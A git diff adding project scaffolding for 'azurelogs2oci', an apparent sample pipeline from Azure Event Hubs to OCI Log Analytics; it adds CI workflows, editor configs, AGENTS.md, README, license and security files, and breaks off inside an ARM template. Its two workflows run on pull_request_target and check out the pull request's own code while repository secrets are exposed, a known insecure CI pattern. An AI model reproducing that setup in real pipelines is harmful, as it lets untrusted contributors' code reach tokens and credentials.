--- /dev/null +++ b/observability-and-management/assets/azurelogs2oci/.github/workflows/repolinter.yml @@ -0,0 +1,89 @@ +name: Repolinter +on: + pull_request_target: +jobs: + run_repolinter: + name: Run Repolinter on pull request + runs-on: ubuntu-latest + container: + image: ghcr.io/oracledevrel/repolinter:v0.11.1 + credentials: + username: ${{ github.actor }} + password: ${{ secrets.GHCR_PAT }} + steps: + - name: 'Checkout repo' + uses: actions/checkout@v2 + with: + ref: ${{ github.event.pull_request.head.ref }} + repository: ${{ github.event.pull_request.head.repo.full_name }} + - name: Run Repolinter + run: | + set +e + bundle exec /app/bin/repolinter.js lint --format json --rulesetFile repolinter.json . > repolinter_results.json + echo "\n\nHere is the repolinter_results.json:\n" + echo $(cat repolinter_results.json) + exit 0 + - name: Analyze the Repolinter results + uses: oracle-devrel/action-repolinter-audit@v0.1-alpha2 + id: analysis + with: + json_results_file: '/github/workspace/repolinter_results.json' + - name: Overall analysis results + run: | + echo "Passed: ${{ steps.analysis.outputs.passed }}" + echo "Errored: ${{ steps.analysis.outputs.errored }}" + - name: Comment if analysis finds missing disclaimer + if: steps.analysis.outputs.disclaimer_found == 'false' + uses: mshick/add-pr-comment@v1 + with: + message: | + :no_entry: **FAILURE: Missing Disclaimer** + The standard Oracle Disclaimer seems to be missing from the readme. Please add it: + + ORACLE AND ITS AFFILIATES DO NOT PROVIDE ANY WARRANTY WHATSOEVER, EXPRESS OR IMPLIED, FOR ANY SOFTWARE, MATERIAL OR CONTENT OF ANY KIND CONTAINED OR PRODUCED WITHIN THIS REPOSITORY, AND IN PARTICULAR SPECIFICALLY DISCLAIM ANY AND ALL IMPLIED WARRANTIES OF TITLE, NON-INFRINGEMENT, MERCHANTABILITY, AND FITNESS FOR A PARTICULAR PURPOSE. FURTHERMORE, ORACLE AND ITS AFFILIATES DO NOT REPRESENT THAT ANY CUSTOMARY SECURITY REVIEW HAS BEEN PERFORMED WITH RESPECT TO ANY SOFTWARE, MATERIAL OR CONTENT CONTAINED OR PRODUCED WITHIN THIS REPOSITORY. IN ADDITION, AND WITHOUT LIMITING THE FOREGOING, THIRD PARTIES MAY HAVE POSTED SOFTWARE, MATERIAL OR CONTENT TO THIS REPOSITORY WITHOUT ANY REVIEW. USE AT YOUR OWN RISK. + + Details: + ${{ steps.analysis.outputs.disclaimer_details }} + repo-token: ${{ secrets.GITHUB_TOKEN }} + - name: Comment if analysis finds missing readme + if: steps.analysis.outputs.readme_file_found == 'false' + uses: mshick/add-pr-comment@v1 + with: + message: | + :no_entry: **FAILURE: Missing README** + The README file seems to be missing. Please add it. + + Details: + ${{ steps.analysis.outputs.readme_file_details }} + repo-token: ${{ secrets.GITHUB_TOKEN }} + - name: Comment if analysis finds missing license + if: steps.analysis.outputs.license_file_found == 'false' + uses: mshick/add-pr-comment@v1 + with: + message: | + :no_entry: **FAILURE: Missing LICENSE** + The LICENSE file seems to be missing. Please add it. + + Details: + ${{ steps.analysis.outputs.license_file_details }} + repo-token: ${{ secrets.GITHUB_TOKEN }} + - name: Comment if analysis finds copyright notice missing + if: steps.analysis.outputs.copyright_found == 'false' + uses: mshick/add-pr-comment@v1 + with: + message: | + :warning: **WARNING: Missing Copyright Notice(s)** + It's a good idea to have copyright notices at the top of each file. It looks like at least one file was missing this (though it might be further down in the file - this might be a false-positive). + + Details: + ${{ steps.analysis.outputs.copyright_details }} + repo-token: ${{ secrets.GITHUB_TOKEN }} + - name: Halt pipeline if README is missing + if: steps.analysis.outputs.readme_file_found == 'false' + run: exit 1 + - name: Halt pipeline if LICENSE is missing + if: steps.analysis.outputs.license_file_found == 'false' + run: exit 1 + - name: Halt pipeline if disclaimer is missing + if: steps.analysis.outputs.disclaimer_found == 'false' + run: exit 1 diff --git a/observability-and-management/assets/azurelogs2oci/.github/workflows/sonarcloud.yml b/observability-and-management/assets/azurelogs2oci/.github/workflows/sonarcloud.yml new file mode 100644 index 000000000..98182dc13 --- /dev/null +++ b/observability-and-management/assets/azurelogs2oci/.github/workflows/sonarcloud.yml @@ -0,0 +1,19 @@ +name: SonarCloud Scan +on: + pull_request_target: +jobs: + sonarcloud: + name: SonarCloud + runs-on: ubuntu-latest + steps: + - name: Checkout repo + uses: actions/checkout@v2 + with: + ref: ${{ github.event.pull_request.head.ref }} + repository: ${{ github.event.pull_request.head.repo.full_name }} + fetch-depth: 0 # Shallow clones should be disabled for a better relevancy of analysis + - name: SonarCloud Scan + uses: SonarSource/sonarcloud-github-action@master + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} # Needed to get PR information, if any + SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }} \ No newline at end of file diff --git a/observability-and-management/assets/azurelogs2oci/.gitignore b/observability-and-management/assets/azurelogs2oci/.gitignore new file mode 100644 index 000000000..1750379be --- /dev/null +++ b/observability-and-management/assets/azurelogs2oci/.gitignore @@ -0,0 +1,47 @@ +# General +.DS_Store +.AppleDouble +.LSOverride + +# Icon must end with two \r +Icon + + +# Thumbnails +._* + +# Files that might appear in the root of a volume +.DocumentRevisions-V100 +.fseventsd +.Spotlight-V100 +.TemporaryItems +.Trashes +.VolumeIcon.icns +.com.apple.timemachine.donotpresent + +# Directories potentially created on remote AFP share +.AppleDB +.AppleDesktop +Network Trash Folder +Temporary Items +.apdisk + +# ignore common security keys +.key +.crt +.csr +.pem + +# Local development +.venv/ +.env +.python_packages/ +__pycache__/ +*.pyc +azurelogs2oci-function.zip +azurelogs2oci-stack.zip +.env.local +*.tfstate +*.tfstate.backup +.terraform/ +.terraform.lock.hcl diff --git a/observability-and-management/assets/azurelogs2oci/.vscode/extensions.json b/observability-and-management/assets/azurelogs2oci/.vscode/extensions.json new file mode 100644 index 000000000..3f63eb97d --- /dev/null +++ b/observability-and-management/assets/azurelogs2oci/.vscode/extensions.json @@ -0,0 +1,6 @@ +{ + "recommendations": [ + "ms-azuretools.vscode-azurefunctions", + "ms-python.python" + ] +} \ No newline at end of file diff --git a/observability-and-management/assets/azurelogs2oci/.vscode/launch.json b/observability-and-management/assets/azurelogs2oci/.vscode/launch.json new file mode 100644 index 000000000..f380c98d8 --- /dev/null +++ b/observability-and-management/assets/azurelogs2oci/.vscode/launch.json @@ -0,0 +1,15 @@ +{ + "version": "0.2.0", + "configurations": [ + { + "name": "Attach to Python Functions", + "type": "debugpy", + "request": "attach", + "connect": { + "host": "localhost", + "port": 9091 + }, + "preLaunchTask": "func: host start" + } + ] +} \ No newline at end of file diff --git a/observability-and-management/assets/azurelogs2oci/.vscode/settings.json b/observability-and-management/assets/azurelogs2oci/.vscode/settings.json new file mode 100644 index 000000000..e69de29bb diff --git a/observability-and-management/assets/azurelogs2oci/.vscode/tasks.json b/observability-and-management/assets/azurelogs2oci/.vscode/tasks.json new file mode 100644 index 000000000..29b673b72 --- /dev/null +++ b/observability-and-management/assets/azurelogs2oci/.vscode/tasks.json @@ -0,0 +1,33 @@ +{ + "version": "2.0.0", + "tasks": [ + { + "type": "func", + "label": "func: host start", + "command": "host start", + "problemMatcher": "$func-python-watch", + "isBackground": true, + "dependsOn": "pip install (functions)", + "options": { + "cwd": "${workspaceFolder}/function/EventHubsNamespaceToOCIStreaming" + } + }, + { + "label": "pip install (functions)", + "type": "shell", + "osx": { + "command": "${config:azureFunctions.pythonVenv}/bin/python -m pip install -r requirements.txt" + }, + "windows": { + "command": "${config:azureFunctions.pythonVenv}\\Scripts\\python -m pip install -r requirements.txt" + }, + "linux": { + "command": "${config:azureFunctions.pythonVenv}/bin/python -m pip install -r requirements.txt" + }, + "problemMatcher": [], + "options": { + "cwd": "${workspaceFolder}/function/EventHubsNamespaceToOCIStreaming" + } + } + ] +} \ No newline at end of file diff --git a/observability-and-management/assets/azurelogs2oci/AGENTS.md b/observability-and-management/assets/azurelogs2oci/AGENTS.md new file mode 100644 index 000000000..90650c891 --- /dev/null +++ b/observability-and-management/assets/azurelogs2oci/AGENTS.md @@ -0,0 +1,39 @@ +# Repository Guidelines + +This guide orients new contributors to azurelogs2oci (Azure Event Hubs -> OCI Streaming). Keep changes small, validated, and production-minded. + +## Project Structure & Module Organization +- function/EventHubsNamespaceToOCIStreaming/: Azure Function code (trigger binding in function.json, runtime config in host.json, docs in README.md/QUICKSTART.md, deps in requirements.txt). +- scripts/: Operational helpers for provisioning, draining, and credential checks (drain_eventhub_to_oci.sh, setup_eventhub_to_oci.sh, test_oci_simple.py). +- docs/: Event format notes and walkthrough content. +- deploy/: ARM template used by the portal deployment. +- Root: .env.example for local smoke tests; .env is git-ignored. + +## Build, Test, and Development Commands +- Prepare dependencies for packaging: `python3 -m pip install -r function/EventHubsNamespaceToOCIStreaming/requirements.txt --target function/EventHubsNamespaceToOCIStreaming/.python_packages/lib/site-packages`. +- Local function run (requires local.settings.json in the function folder): `(cd function/EventHubsNamespaceToOCIStreaming && func start)`. +- Validate credentials and stream reachability without Azure Functions: `python ./scripts/test_oci_simple.py`. +- Smoke-test end to end using local .env: `./scripts/drain_eventhub_to_oci.sh --from-beginning` (reads Event Hubs and writes to OCI). +- Provision+deploy from scratch: `./scripts/provision_azure_to_oci.sh` (creates RG/storage/app, sets app settings, zips, and deploys). + +## Coding Style & Naming Conventions +- Python 3.11, 4-space indent, type hints where practical; prefer logging over print, and add small helper functions instead of inline duplication. +- Use snake_case for Python identifiers, UPPER_SNAKE for environment variables/app settings, and keep module-level constants at the top of files. +- Shell scripts are bash with set -e; keep flags/envs upper-case and favor functions over long inline blocks. +- Keep log messages actionable (include endpoint/OCID masks, batch sizes, counts). + +## Testing Guidelines +- There is no formal unit test suite; add targeted tests when adding non-trivial logic (pytest recommended under function/EventHubsNamespaceToOCIStreaming/tests if introduced). +- For every change touching OCI/Azure integration, run `python ./scripts/test_oci_simple.py` and/or `./scripts/drain_eventhub_to_oci.sh` to validate credentials and delivery. +- Capture log excerpts or script summaries in the PR to show processed/sent counts. + +## Commit & Pull Request Guidelines +- Use short imperative commit subjects; include `Signed-off-by: Full Name ` (`git commit -s`) to satisfy the Oracle Contributor Agreement requirement. +- Branch names like `1234-fixes` or `feature/` help trace to issues; every PR should link to a GitHub issue. +- PR description must state the intent, config changes (if any), and validation steps/commands run; include screenshots or log snippets when helpful. +- Keep changes small and scoped; update related docs in README.md, QUICKSTART.md, or scripts when behavior changes. + +## Security & Configuration Tips +- Never commit secrets; .env and local.settings.json stay local. Prefer Azure Key Vault references for production app settings. +- Use the OCI Stream OCID (not Stream Pool) and mask endpoints/OCIDs in logs. +- Ensure outbound access from the Function App to OCI; avoid widening firewall rules beyond the needed OCI Streaming endpoints. diff --git a/observability-and-management/assets/azurelogs2oci/CONTRIBUTING.md b/observability-and-management/assets/azurelogs2oci/CONTRIBUTING.md new file mode 100644 index 000000000..637430b59 --- /dev/null +++ b/observability-and-management/assets/azurelogs2oci/CONTRIBUTING.md @@ -0,0 +1,55 @@ +# Contributing to this repository + +We welcome your contributions! There are multiple ways to contribute. + +## Opening issues + +For bugs or enhancement requests, please file a GitHub issue unless it's +security related. When filing a bug remember that the better written the bug is, +the more likely it is to be fixed. If you think you've found a security +vulnerability, do not raise a GitHub issue and follow the instructions in our +[security policy](./SECURITY.md). + +## Contributing code + +We welcome your code contributions. Before submitting code via a pull request, +you will need to have signed the [Oracle Contributor Agreement][OCA] (OCA) and +your commits need to include the following line using the name and e-mail +address you used to sign the OCA: + +```text +Signed-off-by: Your Name +``` + +This can be automatically added to pull requests by committing with `--sign-off` +or `-s`, e.g. + +```text +git commit --signoff +``` + +Only pull requests from committers that can be verified as having signed the OCA +can be accepted. + +## Pull request process + +1. Ensure there is an issue created to track and discuss the fix or enhancement + you intend to submit. +1. Fork this repository. +1. Create a branch in your fork to implement the changes. We recommend using + the issue number as part of your branch name, e.g. `1234-fixes`. +1. Ensure that any documentation is updated with the changes that are required + by your change. +1. Ensure that any samples are updated if the base image has been changed. +1. Submit the pull request. *Do not leave the pull request blank*. Explain exactly + what your changes are meant to do and provide simple steps on how to validate. + your changes. Ensure that you reference the issue you created as well. +1. We will assign the pull request to 2-3 people for review before it is merged. + +## Code of conduct + +Follow the [Golden Rule](https://en.wikipedia.org/wiki/Golden_Rule). If you'd +like more specific guidelines, see the [Contributor Covenant Code of Conduct][COC]. + +[OCA]: https://oca.opensource.oracle.com +[COC]: https://www.contributor-covenant.org/version/1/4/code-of-conduct/ diff --git a/observability-and-management/assets/azurelogs2oci/LICENSE.txt b/observability-and-management/assets/azurelogs2oci/LICENSE.txt new file mode 100644 index 000000000..9b47cfba2 --- /dev/null +++ b/observability-and-management/assets/azurelogs2oci/LICENSE.txt @@ -0,0 +1,35 @@ +Copyright (c) 2024 Oracle and/or its affiliates. + +The Universal Permissive License (UPL), Version 1.0 + +Subject to the condition set forth below, permission is hereby granted to any +person obtaining a copy of this software, associated documentation and/or data +(collectively the "Software"), free of charge and under any and all copyright +rights in the Software, and any and all patent rights owned or freely +licensable by each licensor hereunder covering either (i) the unmodified +Software as contributed to or provided by such licensor, or (ii) the Larger +Works (as defined below), to deal in both + +(a) the Software, and +(b) any piece of software and/or hardware listed in the lrgrwrks.txt file if +one is included with the Software (each a "Larger Work" to which the Software +is contributed by such licensors), + +without restriction, including without limitation the rights to copy, create +derivative works of, display, perform, and distribute the Software and make, +use, sell, offer for sale, import, export, have made, and have sold the +Software and the Larger Work(s), and to sublicense the foregoing rights on +either these or other terms. + +This license is subject to the following condition: +The above copyright notice and either this complete permission notice or at +a minimum a reference to the UPL must be included in all copies or +substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. \ No newline at end of file diff --git a/observability-and-management/assets/azurelogs2oci/README.md b/observability-and-management/assets/azurelogs2oci/README.md new file mode 100644 index 000000000..bea3157de --- /dev/null +++ b/observability-and-management/assets/azurelogs2oci/README.md @@ -0,0 +1,293 @@ +# azurelogs2oci + +[![License: UPL](https://img.shields.io/badge/license-UPL-green)](https://img.shields.io/badge/license-UPL-green) + +Stream Azure Event Hub logs (e.g., Entra ID audit logs) end-to-end into Oracle Cloud Infrastructure Log Analytics — with a custom parser, multicloud tagging, and one-click OCI deployment. +This is a personal project, to proove the product capabilities, not an Oracle Product. + +## Overview + +This project implements an end-to-end log-shipping pipeline that extracts telemetry from **Azure Event Hubs** (Entra ID audit logs) and ingests it into **OCI Log Analytics** through **OCI Streaming** and **Service Connector Hub**, with a custom parser that maps all Azure EntraID audit structured fields. + +``` +Azure Event Hub (EntraID Audit Logs) + → Azure Function (Event Hub trigger + Cloud Provider enrichment) + → OCI Streaming (Kafka-compatible) + → Service Connector Hub + → Log Analytics (Azure Logs source, Azure EntraID Audit parser, 26 field mappings) +``` + +## Repository Layout + +``` +├── function/EventHubsNamespaceToOCIStreaming/ +│ ├── eventhub_to_oci/__init__.py # Function logic (trigger + OCI sender + enrichment) +│ ├── eventhub_to_oci/function.json # Event Hub trigger binding (real-time) +│ ├── requirements.txt # azure-functions, azure-eventhub, oci +│ ├── host.json # Function host configuration +│ ├── README.md # Details and operational notes +│ └── QUICKSTART.md # Step-by-step deployment guide +├── scripts/ +│ ├── lib/common.sh # Shared helpers (logging, prompts, env management) +│ ├── discover_resources.sh # Azure + OCI backend resource discovery +│ ├── provision_azure_to_oci.sh # End-to-end provisioning (Azure + OCI + Log Analytics) +│ ├── setup_oci_log_analytics.sh # OCI Log Analytics setup (stream, log group, parser, source, SCH) +│ ├── setup_eventhub_to_oci.sh # Interactive helper to collect settings and write .env.local +│ ├── drain_eventhub_to_oci.sh # Ad-hoc drain from Event Hub to OCI +│ ├── teardown_azurelogs2oci.sh # Destroy Azure + OCI resources (reverse of setup) +│ ├── teardown_oci_log_analytics.py # Delete LA custom content (source, parser, fields) +│ └── eventhub_consumer.py # Consumer helper used by the drain script +├── stack/ # OCI Resource Manager Stack (Terraform) +│ ├── main.tf # Provider, data sources, resource blocks +│ ├── variables.tf # Input variables +│ ├── outputs.tf # Output values (OCIDs, endpoints) +│ ├── iam.tf # IAM policies for Service Connector Hub +│ ├── schema.yaml # OCI Console UI form definition +│ └── scripts/ +│ └── setup_log_analytics.py # Custom fields, parser, source (post-deploy) +├── deploy/ +│ └── azuredeploy.json # Azure portal template (custom deployment) +├── docs/ +│ ├── EVENT_FORMAT_DOCUMENTATION.md # Notes on expected event formats and metadata +│ └── blog-azurelogs-to-oci-streaming.md # Blog-ready walkthrough +├── .env.example # Configuration template (copy to .env.local) +└── LICENSE.txt # UPL v1.0 +``` + +## Prerequisites + +| Tool | Version | Purpose | +|------|---------|---------| +| Azure CLI (`az`) | Latest | Azure resource provisioning | +| Python | 3.11+ | Azure Function runtime, OCI field/parser creation | +| `oci` CLI | Latest | OCI resource provisioning | +| OCI Python SDK | >= 2.124.0 | Log Analytics parser/field creation | +| `zip` or `7z` | Any | Packaging the function for deployment | +| Terraform | >= 1.2.0 (Optional) | OCI Resource Manager Stack deployment | + +**Azure requirements:** +- Event Hubs namespace with one or more hubs (e.g., Entra ID audit logs diagnostic setting) +- Azure subscription with permission to create Function App + Storage +- Authenticated via `az login` before running provisioning scripts + +**OCI requirements:** +- Tenancy with Streaming and Log Analytics services enabled +- **Log Analytics must be onboarded** in your tenancy (one-time: OCI Console > Observability & Management > Log Analytics > click "Start Using Log Analytics"). If not onboarded, namespace auto-detection will fail. +- API signing key configured (`~/.oci/config` or `OCI_KEY_FILE` / `OCI_KEY_CONTENT`) +- IAM policies: user must manage streams, log-analytics, and service-connectors in the target compartment +- OCI Python SDK installed (`pip install oci`) — required by the parser/field creation scripts + +## Quick Start + +```bash +# 1. Prerequisites +az login # authenticate Azure CLI +pip install oci # OCI Python SDK (for Log Analytics setup) + +# 2. Configure +cp .env.example .env.local # keep real values only in .env.local (gitignored) + +# 3. Option A: End-to-end provisioning (Azure + OCI + Log Analytics) +./scripts/provision_azure_to_oci.sh + +# 3. Option B: Step-by-step +# a. Set up Azure/OCI settings interactively +# Auto-discovers existing hubs/streams when there is a single clear match +./scripts/setup_eventhub_to_oci.sh +# b. Set up OCI Log Analytics (stream, log group, parser, source, SCH) +./scripts/setup_oci_log_analytics.sh + +# 4. Test end-to-end +./scripts/drain_eventhub_to_oci.sh --from-beginning + +# 5. Verify in OCI Log Analytics Log Explorer +# Query: 'Cloud Provider' = 'Azure' | stats count by 'Azure Operation' +``` + +## Teardown / Cleanup + +Remove all provisioned Azure and OCI resources when you're done testing or want a fresh start. + +```bash +# Delete all Azure + OCI resources +./scripts/teardown_azurelogs2oci.sh + +# OCI only +./scripts/teardown_azurelogs2oci.sh --oci-only + +# Azure only +./scripts/teardown_azurelogs2oci.sh --azure-only + +# Preview without deleting +./scripts/teardown_azurelogs2oci.sh --dry-run + +# Keep resource group but delete contained Azure resources +./scripts/teardown_azurelogs2oci.sh --azure-only --keep-rg + +# Keep Log Analytics fields (shared with other pipelines like gcplogs2oci) +./scripts/teardown_azurelogs2oci.sh --oci-only --keep-fields +``` + +The teardown script sources `.env.local` (and falls back to legacy `.env`) to discover resource IDs and names automatically. It deletes resources in reverse dependency order (SCH first, then Stream Pool last) and handles already-deleted resources gracefully. + +The setup scripts (`setup_oci_log_analytics.sh`, `provision_azure_to_oci.sh`) also offer a built-in **destroy & recreate** option: run the setup script and choose option `[3]` from the discovery menu to tear down existing resources inline before creating new ones. + +## OCI Resource Manager (Terraform) Deployment + +Deploy the OCI infrastructure directly from the OCI Console with the Resource Manager Stack: + +[![Deploy to Oracle Cloud](https://oci-resourcemanager-plugin.plugins.oci.oraclecloud.com/latest/deploy-to-oracle-cloud.svg)](https://cloud.oracle.com/resourcemanager/stacks/create?zipUrl=https://github.com/adibirzu/azurelogs2oci/releases/latest/download/azurelogs2oci-stack.zip) + +### Manual Stack Deployment + +1. **Package the stack:** + ```bash + cd stack && zip -r ../azurelogs2oci-stack.zip . && cd .. + ``` + +2. **Upload to OCI Resource Manager:** + - Navigate to **OCI Console > Developer Services > Resource Manager > Stacks** + - Click **Create Stack** > Upload `.zip` file + - Fill in the form (compartment, stream names, etc.) + - Click **Plan** then **Apply** + +3. **Create Log Analytics custom content** (parser, fields, source): + ```bash + pip install oci # OCI Python SDK (if not already installed) + export LA_NAMESPACE="" + export OCI_COMPARTMENT_ID="" + python3 stack/scripts/setup_log_analytics.py + ``` + The script auto-detects auth from OCI Resource Principal, `~/.oci/config`, or environment variables. Source creation also requires the `oci` CLI. + +4. **Or apply locally with Terraform:** + ```bash + cd stack + terraform init + terraform plan -var="compartment_ocid=ocid1.compartment..." \ + -var="region=us-ashburn-1" \ + -var="tenancy_ocid=ocid1.tenancy..." + terraform apply + ``` + +The stack creates: Stream Pool, Stream, Log Analytics Log Group, Service Connector Hub, and IAM policies. The Python helper script handles Log Analytics custom content (38 fields, 2 JSON parsers, source) which has no Terraform provider support. + +## Azure Logs Source & Parsers + +The `setup_oci_log_analytics.sh` script (or `stack/scripts/setup_log_analytics.py` for Terraform deployments) creates a custom **Azure Logs** source with **two JSON parsers** in OCI Log Analytics, covering all Azure log types forwarded via Event Hub. + +The Azure Function injects `cloudProvider: "Azure"` into every log entry for multicloud dashboard filtering. + +### Parser 1: Azure EntraID Audit (26 field mappings) + +Handles **Unified Audit Log** format from EntraID and Office 365 diagnostic settings. + +**Built-in** (4): Message, Severity, Time, Method + +**Multicloud** (1): Cloud Provider (`$.cloudProvider`) + +**Core EntraID Audit** (15): Time Generated, Event ID, Operation, Record Type, Result Status, User Type, User ID, User Key, Workload, Object ID, Client IP, Organization ID, Schema Version, Creation Time, AD Event Type + +**Actor / Target Context** (6): Actor Context ID, Actor IP Address, Inter Systems ID, Intra System ID, Target Context ID, Application ID + +### Parser 2: Azure Diagnostic Log (21 field mappings) + +Handles **Azure Monitor common schema** for Activity Logs, Resource Logs, and all Azure services streaming via Event Hub diagnostic settings (Network Watcher, Storage, Functions, VMs, Event Hubs, SQL, Key Vault, App Service, etc.). + +**Built-in** (4): Message, Severity, Time, Method + +**Multicloud** (1): Cloud Provider (`$.cloudProvider`) + +**Azure Monitor Common** (16): Resource ID, Resource Group, Resource Type, Resource Provider, Subscription ID, Correlation ID, Caller, Level, Tenant ID, Location, Category, Duration Ms, Result Type, Result Signature, Result Description, Caller IP + +### Example Queries + +``` +'Cloud Provider' = 'Azure' | stats count by 'Azure Operation' +``` + +``` +'Azure Category' = 'Administrative' | stats count by 'Azure Caller' +``` + +For multicloud environments with both `gcplogs2oci` and `azurelogs2oci`, use: + +``` +'Cloud Provider' in ('Azure', 'GCP') | stats count by 'Cloud Provider', msg +``` + +## Getting Started (Detailed) + +The fastest way to deploy is with the function-specific quickstart. + +- Quickstart (Function): function/EventHubsNamespaceToOCIStreaming/QUICKSTART.md +- Details and operational notes: function/EventHubsNamespaceToOCIStreaming/README.md +- Azure portal template (custom deployment): deploy/azuredeploy.json +- GitHub Actions manual zip deploy: .github/workflows/deploy-azure-function.yml + +High-level steps: +1) Create or identify the Azure Event Hubs namespace and the hub carrying your logs. +2) Create an OCI Streaming stream and prepare OCI API signing keys (fingerprint must match the private key you deploy). +3) Deploy the Function App (Linux, Python 3.11, Functions v4) and bind the Event Hub trigger (EventHubName). +4) Configure App Settings: + - EventHubsConnectionString, EventHubConsumerGroup, EventHubName (for the trigger), EventHubNamesCsv (scripts only) + - MessageEndpoint (or OCI_MESSAGE_ENDPOINT), StreamOcid (or OCI_STREAM_OCID) + - OCI credentials: user, key_content, pass_phrase (optional), fingerprint (matching the private key), tenancy, region +5) Publish the function and monitor logs. +- The provision script auto-resolves the namespace connection string (RootManageSharedAccessKey), auto-discovers existing Azure/OCI resources when there is a single clear match, rejects Stream Pool OCIDs, writes `.env.local`, and prefers `func azure functionapp publish --python --build remote --force` for Linux-safe deployment. + +### Local Smoke Test + +- Copy `.env.example` to `.env.local` (kept out of git) and fill Event Hubs connection + OCI settings. Use the OCI *stream* OCID (not the stream pool OCID) in StreamOcid/OCI_STREAM_OCID; or run `./scripts/setup_eventhub_to_oci.sh` to auto-discover existing Event Hubs and OCI streams and build `.env.local` interactively. +- Run `./scripts/drain_eventhub_to_oci.sh --from-beginning` to drain locally and verify messages reach OCI Streaming. +- For full provisioning + deployment from scratch, run `./scripts/provision_azure_to_oci.sh` (creates RG/storage/Function App, configures settings, publishes with remote build, and optionally sets up OCI Log Analytics). + +### Tail Function Logs (CLI) + +- `az webapp log tail -g -n ` +- or `func azure functionapp logstream --resource-group ` if you have Functions Core Tools +- Note: Azure CLI/Core Tools logstream is not supported on Linux Consumption. Use `--plan premium` during provisioning (EP1) or open Application Insights Live Metrics in the portal. +- Look for "Config summary" and "summary: sent=..." lines to confirm settings from provisioning are applied and messages are forwarded. +- If logs show a warning about StreamOcid pointing to a Stream Pool (ocid1.streampool...), switch the setting to the Stream OCID (ocid1.stream...). +- If you set the consumer group in a shell command, use `EventHubConsumerGroup='$Default'` so the shell does not expand `$Default` to an empty value. + +### Linux Deployment Caveat + +- Do not deploy a locally built `.python_packages` directory from macOS or Windows into an Azure Linux Function App. Native wheels from the wrong platform can prevent the host from indexing the function. +- Preferred deployment path: `cd function/EventHubsNamespaceToOCIStreaming && func azure functionapp publish --python --build remote --force` +- GitHub Actions is safe here because the workflow builds on `ubuntu-latest`. + +## Notes/Issues + +- Trigger behavior: The Function uses an Event Hub trigger bound to `EventHubName` and reads continuously from the configured consumer group. Use the drain script for backfill (`--from-beginning` or `--start-iso`). +- Checkpointing: Default binding checkpoints within a session. For persistent cross-run checkpoints, integrate Azure Blob checkpoint store (not included by default). +- Consumer Group: Use a dedicated consumer group to avoid interfering with other consumers. +- Networking: Ensure outbound access from the Function App to OCI Streaming endpoints. + +## URLs + +- Azure Functions: https://learn.microsoft.com/azure/azure-functions/ +- Azure Event Hubs: https://learn.microsoft.com/azure/event-hubs/ +- OCI Streaming: https://docs.oracle.com/en-us/iaas/Content/Streaming/home.htm +- OCI Log Analytics: https://docs.oracle.com/en-us/iaas/logging-analytics/home.htm +- OCI Resource Manager: https://docs.oracle.com/en-us/iaas/Content/ResourceManager/home.htm + +## Contributing + +This project welcomes contributions from the community. Before submitting a pull +request, please [review our contribution guide](./CONTRIBUTING.md). + +## Security + +Please consult the [security guide](./SECURITY.md) for our responsible security +vulnerability disclosure process. + +## License + +Copyright (c) 2024 Oracle and/or its affiliates. + +Licensed under the Universal Permissive License (UPL), Version 1.0. + +See [LICENSE](LICENSE.txt) for more details. + +ORACLE AND ITS AFFILIATES DO NOT PROVIDE ANY WARRANTY WHATSOEVER, EXPRESS OR IMPLIED, FOR ANY SOFTWARE, MATERIAL OR CONTENT OF ANY KIND CONTAINED OR PRODUCED WITHIN THIS REPOSITORY, AND IN PARTICULAR SPECIFICALLY DISCLAIM ANY AND ALL IMPLIED WARRANTIES OF TITLE, NON-INFRINGEMENT, MERCHANTABILITY, AND FITNESS FOR A PARTICULAR PURPOSE. FURTHERMORE, ORACLE AND ITS AFFILIATES DO NOT REPRESENT THAT ANY CUSTOMARY SECURITY REVIEW HAS BEEN PERFORMED WITH RESPECT TO ANY SOFTWARE, MATERIAL OR CONTENT CONTAINED OR PRODUCED WITHIN THIS REPOSITORY. IN ADDITION, AND WITHOUT LIMITING THE FOREGOING, THIRD PARTIES MAY HAVE POSTED SOFTWARE, MATERIAL OR CONTENT TO THIS REPOSITORY WITHOUT ANY REVIEW. USE AT YOUR OWN RISK. diff --git a/observability-and-management/assets/azurelogs2oci/SECURITY.md b/observability-and-management/assets/azurelogs2oci/SECURITY.md new file mode 100644 index 000000000..2ca81027f --- /dev/null +++ b/observability-and-management/assets/azurelogs2oci/SECURITY.md @@ -0,0 +1,38 @@ +# Reporting security vulnerabilities + +Oracle values the independent security research community and believes that +responsible disclosure of security vulnerabilities helps us ensure the security +and privacy of all our users. + +Please do NOT raise a GitHub Issue to report a security vulnerability. If you +believe you have found a security vulnerability, please submit a report to +[secalert_us@oracle.com][1] preferably with a proof of concept. Please review +some additional information on [how to report security vulnerabilities to Oracle][2]. +We encourage people who contact Oracle Security to use email encryption using +[our encryption key][3]. + +We ask that you do not use other channels or contact the project maintainers +directly. + +Non-vulnerability related security issues including ideas for new or improved +security features are welcome on GitHub Issues. + +## Security updates, alerts and bulletins + +Security updates will be released on a regular cadence. Many of our projects +will typically release security fixes in conjunction with the +Oracle Critical Patch Update program. Additional +information, including past advisories, is available on our [security alerts][4] +page. + +## Security-related information + +We will provide security related information such as a threat model, considerations +for secure use, or any known security issues in our documentation. Please note +that labs and sample code are intended to demonstrate a concept and may not be +sufficiently hardened for production use. + +[1]: mailto:secalert_us@oracle.com +[2]: https://www.oracle.com/corporate/security-practices/assurance/vulnerability/reporting.html +[3]: https://www.oracle.com/security-alerts/encryptionkey.html +[4]: https://www.oracle.com/security-alerts/ diff --git a/observability-and-management/assets/azurelogs2oci/deploy/azuredeploy.json b/observability-and-management/assets/azurelogs2oci/deploy/azuredeploy.json new file mode 100644 index 000000000..2872d7697 --- /dev/null +++ b/observability-and-management/assets/azurelogs2oci/deploy/azuredeploy.json @@ -0,0 +1,284 @@ +{ + "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", + "contentVersion": "1.0.0.0", + "parameters": { + "location": { + "type": "string", + "defaultValue": "[resourceGroup().location]", + "metadata": { + "description": 